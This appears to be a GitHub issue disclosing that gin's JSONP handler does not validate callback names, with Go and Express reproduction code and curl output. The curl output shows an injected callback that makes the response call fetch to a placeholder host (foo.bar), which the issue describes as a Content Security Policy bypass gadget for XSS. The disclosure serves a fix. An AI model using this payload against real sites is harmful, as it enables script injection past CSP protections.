Description

During experimentation with various web frameworks, I discovered a potential security vulnerability with the gin framework's implementation of JSONP. Unlike the express framework, gin does not perform type checking, which can be exploited by attackers to bypass content security headers such as script-src 'self'.

How to Reproduce

Gin Framework:

package main

import (
    "net/http"
    "github.com/gin-gonic/gin"
)

func main() {
    app := gin.Default()
    api := app.Group("/api")
    api.GET("/healthcheck", healthcheck)
    app.Run()
}

func healthcheck(c *gin.Context) {
    c.JSONP(http.StatusOK, gin.H{"message": "success"})
}

Express Framework:

const app = require("express")()

app.get("/api/healthcheck", (_, res)=>{
    res.jsonp({"message":"success"})
})

app.listen(8080)

Expected Behavior

When running the code with the express framework, the expected output is:

$ curl "http://localhost:8080/api/healthcheck?callback=fetch(`http://foo.bar/`,\{method:`POST`\})//"
/**/ typeof fetchhttpfoo.barmethodPOST === 'function' && fetchhttpfoo.barmethodPOST({"message":"success"});

Actual Behavior

However, when running the code with the gin framework, the output is:

$ curl "http://localhost:8080/api/healthcheck?callback=fetch(`http://foo.bar/`,\{method:`POST`\})//"
fetch(`http://foo.bar/`,{method:`POST`})//({"message":"success"});

Environment

  • Go version: 1.20
  • Gin version (or commit ref): v1.9.0
  • Operating system: GNU/Linux

Impact

The severity of this issue is low, however it can become a gadget to bypass Content Security Policy to achieve cross-site scripting (XSS) if the threat actor can inject the tag <script src="url_to_the_jsonp"/> into the website's HTML.

Recommendations

To mitigate this potential vulnerability, the gin framework should implement type checking in their JSONP implementation. This will help prevent attackers from exploiting the JSONP endpoint to bypass content security headers and execute malicious scripts.

Comment From: KDreynolds

I can take this issue.